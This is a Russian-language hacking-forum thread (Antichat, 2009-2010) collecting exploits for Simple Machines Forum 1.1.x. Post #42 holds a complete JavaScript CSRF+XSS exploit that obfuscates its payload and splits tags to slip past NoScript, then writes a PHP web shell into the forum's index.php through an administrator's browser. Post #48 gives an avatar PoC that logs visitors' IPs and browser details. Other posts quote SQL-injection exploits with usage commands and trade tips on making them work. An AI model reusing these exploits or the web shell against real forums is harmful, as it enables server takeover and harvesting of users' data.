ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #41  
Старый 29.11.2009, 15:15
Аватар для Glazz
Glazz
Участник форума
Регистрация: 09.08.2008
Сообщений: 139
Провел на форуме:
560332

Репутация: 15
По умолчанию

как версию узнать можно?
 
Ответить с цитированием

Эксплойт автозагрузки шелла SMF 1.1 - 1.1.11, основанный на CSRF + XSS
  #42  
Старый 27.12.2009, 23:33
Аватар для LeverOne
LeverOne
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме:
4155100

Репутация: 2033
По умолчанию Эксплойт автозагрузки шелла SMF 1.1 - 1.1.11, основанный на CSRF + XSS

Эксплойт автозагрузки шелла SMF 1.1 - 1.1.11, основанный на CSRF + XSS.

Описание: загружает шелл по аналогичному принципу; способ требует авторизации в панеле администратора и выполнения браузером администратора представленного скрипта в контексте ЛЮБОГО домена.

Настройки:

1) код шелла (это дело вкусовое, в скрипте стоит тестовый вариант);
2) ссылка на создание новой темы в целевом форуме;

Пояснения:

Первым звеном служит CSRF-уязвимость, заключающаяся в возможности подмены запроса на предпросмотр сообщения. Защита от публикации такого сообщения в форуме существует, а от предпросмотра нет. Эксплойт подменяет запрос админа на предпросмотр вновь создаваемой темы.

Вторым звеном является декларированная возможность выполнения произвольного скрипта в контексте форума с помощью bb-тега [*html], доступного только администратору. Эксплойт отправляет вместе с запросом код подгрузки шелла, который выполнится в скрытом ифрейме (т.е. совершенно незаметно от админа).

Для обхода защиты от такого рода атак, реализованной, например, в NoScript`е, эксплойт отправляет фрагментированный код. То есть запрос с другого домена, содержащий

[*html]<img src=. onerror='eval(String.fromCharCode(bugoga))'>[*/html]

, будет отфильтрован, а запрос

[*html]<i[*/html][*html]mg src=. onerro[*/html][*html]r='eval(String.fromCharCode(bugoga[*/html][*html]))'>[*/html]

отфильтрован не будет.

Остальную информацию дублировать излишне, смотрите её в вышеприведенном посте.

Эксплойт:
Код:
/*/ SMF 1.1 - 1.1.11 shell inj. via CSRF + XSS
/// Example: <html><body><script src=smf_shell_inj.js></script></body></html>
///
/// LeverOne 27.12.2009
/*/


//------------------------- start config ---------------------->

php_code      = window.php_code      || 'if($_GET[lo]) echo($_GET[lo]);';
new_topic_url = window.new_topic_url || 'http://vulnsite.xz/smfforum/index.php?action=post;board=1.0';


//------------------------- end config ------------------------>

index_code = escape('<?php\n\n// Try to handle it with the upper level index.php.  (it should know what to do.)\n ' + 

                    php_code  +

                   '\n if (file_exists(dirname(dirname(__FILE__)) . \'/index.php\'))\n' +
                   'include (dirname(dirname(__FILE__)) .\'/index.php\');\n else\n   exit;\n\n?>');

shell_inj = "function get_sesc(url) {" +
            "  requester('GET', url, null," +
            "    function() {" +
            "      if (r.readyState == 4) {" +
            "          sesc = r.responseText.match(/sesc=([a-z0-9]{32})/)[1] || null;" +
            "          if (sesc != null) edit_index(sesc);" +
            "      }" +
            "    }" +
            "  );" +
            "}" +

            "function edit_index(sesc) {" +
            "  postdata =  'entire_file=" + index_code + "&submit=1&filename=index.php&sc=' + sesc;" +
            "  requester('POST', './index.php?action=theme;th=1;sa=edit', postdata, null);" +
            "}" +

            "function requester(method, url, postdata, func) { " +
            "  try {r = new XMLHttpRequest()} catch(err) {r = new ActiveXObject('Msxml2.XMLHTTP')}" +
            "  r.open(method, url + '&r=' + Math.ceil(1000*Math.random()));" +
            "  if (method == 'POST') r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');" +
            "      r.onreadystatechange = func;" +
            "      r.send(postdata);" +
            "}" +

            "get_sesc(location.href);";

function toCharCode(string) {
  char_array = [];
  for (n = 0; n < string.length; n++) char_array.push(string.charCodeAt(n));
  return char_array.toString();
}

shell_inj = "[html]<i[/html][html]mg src=. onerro[/html][html]r='eval(String.fromCharCode(" + toCharCode(shell_inj) + "[/html][html]))'>[/html]";

document.body.innerHTML += '<iframe style=display:none name=myfr><\/iframe>' +
                           '<form id=myform action=' + new_topic_url + ' method=post target=myfr>' +
                           '<input type=hidden name=subject value=1>' +
                           '<input type=hidden name=message value="' +  shell_inj  + '">' +
                           '<input type=hidden name=preview value=1><\/form>';
document.getElementById('myform').submit();
 
Ответить с цитированием

  #43  
Старый 01.01.2010, 10:44
Аватар для cheburator
cheburator
Новичок
Регистрация: 16.04.2009
Сообщений: 16
Провел на форуме:
121808

Репутация: 7
По умолчанию

Цитата:
Сообщение от Glazz  
как версию узнать можно?
Во всех верссиях в футере верссия написанна
Powered by SMF 2.0 RC1.2 | SMF © 2006–2009, Simple Machines LLC
 
Ответить с цитированием

  #44  
Старый 02.01.2010, 17:23
Аватар для Snake Plissken
Snake Plissken
Новичок
Регистрация: 07.07.2008
Сообщений: 22
Провел на форуме:
64581

Репутация: 0
По умолчанию

Зачастую версию в футере убирают. Мне кстати тоже интересно как ее можно узнать в таком случае.
 
Ответить с цитированием

  #45  
Старый 15.01.2010, 15:14
Аватар для _eXorcist_
_eXorcist_
Участник форума
Регистрация: 24.12.2009
Сообщений: 130
Провел на форуме:
528073

Репутация: -3
Отправить сообщение для _eXorcist_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от oRb  
Member Awards 1.02 Blind SQL-Injection exploit
Vulnerability: mailbrush
Code: oRb
Thnx: Grey, eLWAux

Использует бинарный поиск. В начале скрипта конфиг:
$url - урл до smf
$member_id - кого брутить
$tbl_prefix - префикс таблиц
$error - текст ошибки, если награда не найдена.

Example:
Код:
$ php smf.php
passwd: c22dcc8d6b9378b8fad65ab2a359fbdd60dfcb86
Requests: 160
Time: 00:00:32
после брута выходит так
Код HTML:
passwd: 0000000000000000000000000000000000000000 Requests: 160 Time: 00:00:56

но такого хеша я как понимаю нет в чем проблемма?

и что означает число 160

Последний раз редактировалось _eXorcist_; 15.01.2010 в 15:29..
 
Ответить с цитированием

  #46  
Старый 12.03.2010, 14:22
Аватар для _eXorcist_
_eXorcist_
Участник форума
Регистрация: 24.12.2009
Сообщений: 130
Провел на форуме:
528073

Репутация: -3
Отправить сообщение для _eXorcist_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от Elekt  

SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
http://www.simplemachines.org/

Уязвимость заключается в неопределенном параметре $topic.
Атакующий может определить его значение и выполнить произвольный SQL-запрос в базу данных приложения.

Дополнительную уязвимость содержат фильтры безопасности, пропускающие внедренный атакующим запрос, составленный особым образом.

Требуется:
1) register_globals=ON
2) database prefix, default "smf_"
3) Mysql => 4.1

c0d3d by Elekt (www.antichat.ru), 13.12.2007

::FAQ::

Q1: "[-] SMF unvulnerable" - что это значит?
A1: Если версия форума действительно <=1.1.4, 2.0Beta2 , то скорее всего
серверная настройка - register_globals=Off - не благоприятна Вам. Ничего сделать нельзя.

Q2: "[-] MySQL < 4.1" - что это значит?
A2: Версия базы данных ниже требуемой.
На самом деле проблема скорее не в версии mysql, а в некорректном синтаксисе SQL-inj.
Мне точно не известно, почему это происходит, потому что такой проблемы не должно быть.
Это неизвестная мне особенность конкретно взятого сервера.
Возможно, там стоит IDS или mod_security. Так или иначе - это плохо.
Получение данных невозможно, однако остается вариант атаки на отказ в облуживании через benchmark().
Из соображений гуманности я не включил модуль доса форума в паблик эксплоит.

Q3: "[-] Prefix is not correct" - что это значит?
A3: Префикс таблиц форума отличен от стандартного.
Необходим перебор его имени по словарю для mysql4.
Возможно автоопределение префикса для mysql 5.х
В паблик эксплоите функция не реализована.

Q4: "[i] Found error."
A4: Найдена ошибка.
1) Может возникнуть при нестабильном коннекте вашего интернет подключения.
Рекомендуется перезапустить эксплоит.
2) Также данная ошибка иногда возникает, если вы не указываете айди админа и доверяете эксплоиту определить его самостоятельно.
Данный баг связан с различиями в структуре таблиц форума разных версий.
Рекомендуется указывать айди админа ключом "-i".
perl smf114expl.pl -h www.target.com -d / -i 1


[i] информация предоставлена с целью ознакомления
кто пользовался данным сплоитом пишет

Cannot open log file!

не может открыть лог файл аддрес сайта
примерно такой

http://www.i.ru/forum/

в сплоит пишу такое

smf114expl.pl -h http://www.i.ru -d /forum/ -i 1

в чем проблемма?
 
Ответить с цитированием

  #47  
Старый 12.03.2010, 15:06
Аватар для TANZWUT
TANZWUT
Крёстный отец :)
Регистрация: 22.06.2005
Сообщений: 1,330
Провел на форуме:
5302668

Репутация: 2054


Отправить сообщение для TANZWUT с помощью ICQ
По умолчанию

пример ясно же написан - без http://
__________________
Лучший способ защиты - это нападение!!!
 
Ответить с цитированием

  #48  
Старый 28.03.2010, 23:41
Аватар для Toshik
Toshik
Новичок
Регистрация: 21.06.2004
Сообщений: 11
Провел на форуме:
41885

Репутация: 0
По умолчанию

Simple Machines Forum <= 1.1.8 (avatar) Remote PHP File Execute PoC

- Step by Step:

1) go to your profile in section of avatar.
2) put the url of the malicious php file as avatar (ex: http://target/poc.php).
3) create a new topic.

- [victims] All the people that visit the topic will be infect.


malicious file example [steal info]: (poc.php)

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$so= $_SERVER['HTTP_USER_AGENT'];
$lan= $_SERVER['HTTP_ACCEPT_LANGUAGE'];
$url= $_SERVER['PHP_SELF'];
$path= $_SERVER['DOCUMENT_ROOT'];
$archivo = 'hacks.txt';
$fp = fopen($archivo, "a");
$string = "
Simple Machines Forum <= 1.1.8 (avatar) rpfe PoC


$path$url

VICTIM: $ip

info: $so
language: $lan


";
$write = fputs($fp, $string);
fclose($fp);
?>
------END-----

cat hacks.txt

Simple Machines Forum <= 1.1.8 (avatar) rpfe PoC
by Jose Luis Gongora Fernandez (aka) JosS

/***/***/vhosts/hack0wn.com/httpdocs/poc.php

VICTIM: 88.25.92.***

info: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.19) Gecko/20081202 Iceweasel/2.0.0.19 (Debian-2.0.0.19-0etch1)
language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3


// tested on smf 1.1.8
 
Ответить с цитированием

Подмена IP адреса сообщения в SMF
  #49  
Старый 17.06.2010, 16:25
Аватар для Nightmarе
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию Подмена IP адреса сообщения в SMF

Баг заключается в том, что движок считывает сначала заголовок "X-Forwarded-For", и если он не пустой, то он определяет значение как реальный IP адрес, и указывает его в сообщении. (мембер может видеть свои IP адреса своих сообщений)

Но кроме как подделать IP адрес на любой более ничего нельзя, если вписать произвольные символы, то вместо IP будет "unknown". Так-же обойти фильтр хитростями типа 111.222.333.4lol тоже нельзя, будет IP: 111.222.333.4 и т.д... исходный код функции не смотрел, но ясно что регулярка по IP адресам.

Обнаружил баг случайно на одном форуме, баг довольно забавный, и я бы сказал полезный.
Тестировал на SMF 1.1.11, другие версии не пробовал.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Форумы 74 07.06.2010 16:19
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03
Уязвимость в Simple machines smf 1.0 beta 5 public Nemirof Форумы 0 23.10.2004 00:47
Вопрос про уязвимости в Simple machines forum Форумы 4 27.08.2004 14:09



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ